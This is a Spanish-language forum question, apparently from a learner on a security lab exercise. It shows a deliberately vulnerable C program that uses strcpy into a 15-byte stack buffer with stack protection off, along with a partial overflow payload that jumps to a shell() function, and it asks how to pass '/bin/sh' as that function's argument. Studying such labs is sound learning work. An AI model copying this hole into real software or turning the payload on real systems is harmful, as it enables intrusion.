Estoy experimentando con los conceptos básicos de desbordamiento de búfer, estoy tratando de llamar a la función de shell sin modificar el código. Hasta ahora he logrado llamarlo pero no puedo encontrar la manera de darle el parámetro correcto (que es exec_string)
Aquí está el código:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2B.c -o lab2B -m32
*/
char* exec_string = "/bin/sh";
void shell(char* cmd)
{
system(cmd);
}
void print_name(char* input)
{
char buf[15];
strcpy(buf, input);
printf("Hello %s\n", buf);
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
print_name(argv[1]);
return EXIT_SUCCESS;
}
Lo ejecuto con ./lab2B $(python -c 'print "A"*27 + "\x8D\x55\x55\x56"')
que parece permitirme entrar en shell, de acuerdo con gdb.
Gracias de antemano por tu ayuda